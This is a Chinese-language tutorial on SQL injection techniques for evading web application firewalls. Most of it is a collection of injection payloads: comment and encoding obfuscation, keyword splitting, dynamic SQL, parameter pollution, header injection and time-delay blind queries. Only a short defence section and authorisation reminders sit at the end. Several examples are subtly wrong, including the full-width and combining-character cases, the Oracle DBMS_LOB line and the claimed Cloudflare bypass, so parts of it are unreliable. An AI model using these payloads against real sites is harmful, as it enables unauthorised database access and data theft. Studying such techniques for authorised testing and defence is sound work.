1. SQL注入基础与WAF防护原理
在开始讨论绕过技术之前,我们需要先理解SQL注入的基本原理和现代WAF(Web应用防火墙)的工作机制。SQL注入本质上是通过构造特殊输入,改变原始SQL语句逻辑的攻击方式。典型的注入点包括URL参数、表单字段、HTTP头部等任何用户可控的输入位置。
现代WAF通常采用多层防御策略:
- 规则匹配:基于正则表达式检测常见注入模式(如
UNION SELECT、1=1等) - 语义分析:解析SQL语句结构,检测异常语法
- 行为分析:监控数据库查询频率和模式
- 机器学习:通过模型识别异常输入模式
重要提示:所有绕过技术都建立在对目标系统充分了解的基础上,盲目尝试可能触发警报。实际测试前务必获得授权。
2. 基础绕过技术解析
2.1 注释符的巧妙运用
注释符是绕过WAF规则匹配的最基础手段。不同数据库支持的注释语法:
MySQL: #, -- , /*...*/ Oracle: --, /*...*/ SQL Server: --, /*...*/ PostgreSQL: --, /*...*/实际应用案例:
原始注入:admin' AND 1=1-- 变形方案:admin' /*!AND*/ 1=1--MySQL特有的/*!...*/语法可以绕过许多简单规则匹配,因为WAF可能不会解析这种特定于MySQL的注释语法。
2.2 等价替换技术
许多SQL关键字和操作符都有功能相同的替代写法:
| 原始表达式 | 替代方案 |
|---|---|
| AND | && |
| OR | || |
| = | LIKE, IN, BETWEEN |
| 空格 | /**/, %09, %0A, %0D |
实战示例:
-- 原始注入 SELECT * FROM users WHERE username='admin' AND password='' OR 1=1 -- 绕过变形 SELECT * FROM users WHERE username='admin'&&password=''||1=13. 高级编码与混淆技术
3.1 十六进制编码
将敏感字符串转换为十六进制表示:
-- 原始 SELECT * FROM users WHERE username='admin' -- 十六进制编码 SELECT * FROM users WHERE username=0x61646D696E3.2 URL编码与双重编码
多层编码可以绕过简单的解码检测:
-- 单层URL编码 %27%20OR%201=1-- -- 双重URL编码 %2527%2520OR%25201=1--3.3 Unicode规范化攻击
利用Unicode编码和规范化过程的差异:
-- 使用全角字符 SELECT * FROM users -- 使用组合字符 SEL%E1%83%95ECT * FROM users4. 特定数据库特性利用
4.1 MySQL特有绕过技巧
-- 使用变量赋值绕过 SET @sql=CONCAT('SEL','ECT * FROM users'); PREPARE stmt FROM @sql; EXECUTE stmt; -- 利用字符串函数 SELECT * FROM users WHERE username=CONCAT('adm','in')4.2 SQL Server技巧
-- 使用EXEC动态执行 EXEC('SEL' + 'ECT * FROM users') -- 使用FOR XML PATH构造字符串 SELECT STUFF((SELECT ','+name FROM sysobjects FOR XML PATH('')),1,1,'')4.3 Oracle技巧
-- 使用CHR函数构造字符串 SELECT * FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) -- 使用DBMS_LOB.SUBSTR SELECT DBMS_LOB.SUBSTR('SELECT * FROM users',1000,1) FROM dual5. HTTP协议层绕过
5.1 请求参数污染
通过重复参数名制造解析差异:
原始请求:?id=1' AND 1=1-- 污染请求:?id=1'/*&id=*/ AND 1=1--5.2 HTTP头部注入
利用User-Agent、Referer等头部字段:
GET /page.php?id=1 HTTP/1.1 Host: example.com User-Agent: ' UNION SELECT 1,2,3--5.3 HTTP方法转换
POST转GET或PUT方法可能绕过某些WAF规则:
PUT /api/user HTTP/1.1 Host: example.com Content-Type: application/json {"id":"1' UNION SELECT 1,2,3--"}6. 时间延迟盲注绕过
当直接回显被禁用时,时间延迟成为判断注入是否成功的有效手段:
-- MySQL IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0) -- SQL Server WAITFOR DELAY '0:0:5' -- PostgreSQL pg_sleep(5)高级绕过技巧:
-- 使用BENCHMARK函数替代SLEEP BENCHMARK(10000000,MD5(NOW())) -- 利用复杂计算制造延迟 (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B)7. WAF规则特定绕过案例
7.1 绕过关键字检测
-- 原始被拦截 UNION SELECT 1,2,3 -- 绕过方案 UNI/**/ON SEL/**/ECT 1,2,3 -- 或使用大小写混合 uNiOn sElEcT 1,2,37.2 绕过长度限制
-- 使用短变量名 SET @a=0x73656C656374202A2066726F6D207573657273; PREPARE b FROM @a; EXECUTE b;7.3 绕过特定规则集
针对Cloudflare WAF的绕过:
-- 使用JSON语法 SELECT * FROM users WHERE username = '"' OR 1=1 -- '8. 防御措施与最佳实践
了解攻击手段的目的是为了更好地防御。以下是一些关键防御策略:
- 参数化查询:使用预处理语句而非字符串拼接
- 最小权限原则:数据库账户只赋予必要权限
- 输入验证:白名单验证优于黑名单过滤
- WAF配置优化:
- 启用语义分析模式
- 定期更新规则集
- 配置适当的误报处理策略
- 深度防御:
- 应用层过滤
- 数据库防火墙
- 运行时保护
在实际开发中,我强烈建议使用ORM框架而非直接编写SQL语句。当必须使用原生SQL时,务必使用参数化查询接口。对于历史遗留系统,逐步重构比一次性重写更可行。
最后需要强调的是,所有安全测试都必须在合法授权范围内进行。未经授权的测试可能违反法律。在实际渗透测试中,我通常会先进行指纹识别,确定目标系统和WAF类型后,再选择最合适的绕过技术,这种针对性方法成功率更高且不易触发警报。